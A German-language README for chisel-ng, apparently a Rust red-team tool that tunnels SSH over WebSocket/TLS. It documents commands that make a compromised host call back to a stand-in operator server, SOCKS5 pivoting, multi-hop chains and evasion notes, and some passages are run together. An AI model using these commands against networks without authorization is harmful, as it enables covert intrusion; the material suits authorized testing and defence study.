
Chisel neue Generation, geschrieben in Rust. SSH über WSS mit einigen Anpassungen.
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
# chisel-ng




Eine Rust-Implementierung von [chisel](https://github.com/jpillora/chisel) für Penetrationstests und Red-Team-Operationen. Stellt reverse Tunnels über SSH-over-WebSocket-over-TLS her, sodass Operatoren durch kompromittierte Hosts pivotieren können, während sie sich in normalen HTTPS-Verkehr einfügen.
---
## Inhaltsverzeichnis
- [Quick Start](#quick-start)
- [Features](#features)
- [Architektur](#architecture)
- [Verwendungsreferenz](#usage-reference)
- [Server (Operator)](#server-operator)
- [Reverse Client (Agent)](#reverse-client-agent)
- [Bind Client (Agent – Inbound-Modus)](#bind-client-agent-inbound-mode)
- [Server-CLI-Befehle](#server-cli-commands)
- [Multi-Hop-Pivoting](#multi-hop-pivoting)
- [Technische Details](#technical-details)
- [OPSEC-Überlegungen](#opsec-considerations)
- [Haftungsausschluss](#disclaimer)
---
## Quick Start
### Voraussetzungen
- Rust 1.70+ ([rustup.rs](https://rustup.rs/))
### Build
```bash
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
Die Binärdateien liegen in target/release/: chisel-server, chisel-client, chisel-bind-client
1. Server starten (Operator):
./chisel-server -p 'secret' -v
2. Client ausführen (Ziel):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. Tunnels erstellen:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. Auf interne Dienste zugreifen:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Operator | | Zielnetzwerk |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (über TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
Protokollstapel:
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel-Daten
^
erscheint als HTTPS
Client-Modi:
chisel-client) – Stellt ausgehende Verbindung zum Server herchisel-bind-client) – Horcht auf eingehende Verbindungen; Server verwendet connect-BefehlOPTIONEN:
-l, --listen <ADDR> Lauschadresse [Standard: 0.0.0.0:8443]
-p, --psk <PSK> Vorab geteilter Schlüssel oder Passphrase [env: CHISEL_PSK]
--cert <DATEI> TLS-Zertifikat (PEM)
--key <DATEI> TLS-Privatkey (PEM)
--generate-psk Zufälligen PSK generieren und beenden
-v, --verbose Ausführliche Ausgabe
OPTIONEN:
-s, --server <ADDR> Serveradresse (host:port)
-p, --psk <PSK> Vorab geteilter Schlüssel oder Passphrase [env: CHISEL_PSK]
-u, --user <LABEL> Sitzungsbeschriftung [Standard: agent]
-k, --insecure TLS-Verifikation überspringen
--no-reconnect Automatische Neuverbindung deaktivieren
-i, --interval <SEK> Wiederverbindungsintervall [Standard: 30]
--heartbeat <SEK> Heartbeat-Intervall [Standard: 30]
-v, --verbose Ausführliche Ausgabe
Für Ziele, die eingehende Verbindungen akzeptieren, aber keine ausgehenden initiieren können:
OPTIONEN:
-l, --listen <ADDR> Lauschadresse (z. B. 0.0.0.0:9000)
-p, --psk <PSK> Vorab geteilter Schlüssel oder Passphrase [env: CHISEL_PSK]
-u, --user <LABEL> Sitzungsbeschriftung [Standard: agent]
-k, --insecure TLS-Verifikation überspringen
--heartbeat <SEK> Heartbeat-Intervall [Standard: 30]
-v, --verbose Ausführliche Ausgabe
Hauptmenü:
sessions Verbundene Sitzungen auflisten
session <id> Eine Sitzung auswählen
connect <ip:port> Mit Bind-Client verbinden
disconnect <id> Sitzung trennen (wird neu verbunden)
kill <id> Clientprozess beenden
Sitzungsmenü:
tunnel <lokal>:<ziel_ip>:<ziel_port> Tunnel erstellen
tunnel --local <lokal>:<ziel>:<port> Tunnel erstellen (nur localhost)
tunnel stop <port> Tunnel stoppen
tunnels Tunnel auflisten
socks5 <port> SOCKS5-Proxy starten
socks5 stop <port> SOCKS5-Proxy stoppen
ping Latenz messen
ps Remote-Prozesse auflisten
netstat Remote-Verbindungen auflisten
Erreiche isolierte Netzwerke durch Verkettung bestehender Sitzungen.
Szenario: Der DMZ-Host kann den Operator erreichen. Der interne Host (10.0.0.50) ist nur vom DMZ aus erreichbar.
+----------+ +-----------+ +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2 |
| Server | | (DMZ) | | (INTERN) |
+----------+ +-----------+ +------------+
Schritt 1 – Server starten (Operator):
./chisel-server -p 'secret' -v
Schritt 2 – Reverse-Client ausführen (DMZ-Host):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
Schritt 3 – Bind-Client ausführen (interner Host unter 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
Schritt 4 – Tunnel erstellen und verbinden (Server-CLI):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel auf 127.0.0.1:9000 gestartet
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Sitzung 2 registriert
chisel-ng> session 2
[session-2] INTERN > socks5 1080
Beim Erstellen eines Tunnels (tunnel 8080:192.168.1.100:80):
Dynamische Ziele per RFC-1928-Handshake. Liefert korrekte Fehlercodes für präzise Portscan-Ergebnisse.
Release-Builds sind gehärtet:
--heartbeat 0Dieses Werkzeug ist ausschließlich für autorisierte Sicherheitstests vorgesehen. Hole vor der Nutzung eine entsprechende Genehmigung ein. Die Autoren übernehmen keine Haftung für Missbrauch.
MIT